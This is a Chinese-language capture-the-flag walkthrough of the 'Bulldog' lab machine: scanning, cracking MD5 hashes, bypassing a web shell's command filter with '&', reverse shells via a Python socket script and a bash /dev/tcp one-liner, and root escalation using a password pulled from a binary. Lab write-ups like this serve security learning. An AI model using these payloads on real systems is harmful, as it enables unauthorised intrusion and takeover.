一、 主机发现
利用kali发现该靶机
netdiscover -I eth0 -r 192.168.56.102/24
二、服务识别
利用nmap扫描该靶机服务端口
nmap -sV 192.168.56.102
三、漏洞利用
1.访问http://192.168.56.102/ 正常访问,尝试爆破子域名等
2.目录扫描dirb http://192.168.56.102/
3.发现http://192.168.56.102/admin/login,尝试弱口令登录,失败
4.发现http://192.168.56.102/dev/,然后访问,查看页面源码,可以看到注释有MD5
的字符串,尝试解密,解密出来bulldog 和 bulldoglover
5.尝试使用邮箱用户名登录,失败,尝试用邮箱的开头,成功登录
一组nick密码bulldog 二组sarah密码bulldoglover
6.发现http://192.168.56.102/dev/shell/ 访问
四、远程代码执行
解法一:
1.发现可能存在命令执行漏洞,尝试输入一些系统命令,发现对命令做了白名单限制,只允许给出的命令
2.尝试使用;执行多个命令,“;”被过滤失败,尝试使用&,&&,|等方式执行多个命令,成功。经过尝试,存在命令执行漏洞
3.获取反弹shell
a.测试机使用python命令搭建建议web服务(开启80端口)
python -m SimpleHTTPServer 80
b.在webshell上执行wget命令
pwd & wget http://192.168.56.101 #该IP是kali的
c.在kali的web服务的目录下编写shell.py文件
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.10.128",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
d.在webshell下载shell.py文件
- python -m SimpleHTTPServer 80
- ls & wget http://192.168.56.101/shell.py
- 使用python命令开启80端口,以获取目标文件,需在该文件所在的目录下,使用python命令(一定要在var/www/html)
e.在测试机进行监听
nc -vnlp 1234
f.在webshell执行shell.py,成功获取反弹shell
ls & python shell.py
提权
a.进入/home目录下,查看是否有其他用户
b.进入bulldogadmin下,查看历史文件 ls -la
1.发现隐藏目录.hiddenadmindirectory
2.也可以使用ls -a查看隐藏文件
3.该目录下有两个文件,一个note提示,一个可执行文件
c.进入.hiddenadmindirectory利用strings查看可执行文件中的字符
strings customPermissionApp
1.可以得到疑似密码:SUPERultH、imatePASH、SWORDyouH、CANTget(这些密码可能与最高权限账号有关)
2.凭经验得密码:SUPERultimatePASSWORDyouCANTget
d.尝试提权 sudo -i
1.无法提权,需打开一个新的终端
2.django用户在sudo组
e.使用python命令打开一个终端,并进行提权
python -c 'import pty; pty.spawn("/bin/bash")'
sudo -i
1.python命令打开新终端,虽显示“Permission denied”,但只是执行/bin/bash被拒绝,打开的是python命令下的终端,而不是/root下的终端
2.再次提权成功
解法二:
由于有echo命令,那么就好操作了
Kali开启监听端口nc -lvnp 6666
在shell界面输入:
echo “bash -i >& /dev/tcp/172.16.111.14/6666 0>&1″ | bash
获取反弹shell
提权:
1.查看用户cat /etc/passwd
2.查找bulldogadmin用户的文件:
find / -user bulldogadmin 2>/dev/null
发现值得关注的文件有:一个是note,一个是customPermissionApp。
/home/bulldogadmin/.hiddenadmindirectory/note
/home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
strings /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
3. SUPERultHimatePASHSWORDyouHCANTget 尝试去掉其中的H
SUPERultimatePASSWORDyouCANTget
执行命令:
python -c 'import pty;pty.spawn("/bin/bash")'
尝试密码:sudo su 提权成功
五、总结:
首先要爆破出admin和dev页面,利用解密MD5得到的密码登录进系统。然后绕过bulldog的系统限制,反弹shell到kali。当然最重要的是root提权,这方面我做的不够好,有些命令不懂,还要去查的网上的资料。Shell反弹和对于linux系统命令掌握的还是太少,以后要多学习,多记。总之,在渗透测试上还有很长的路要走。
解法二获得shell不稳定 不知道是什么问题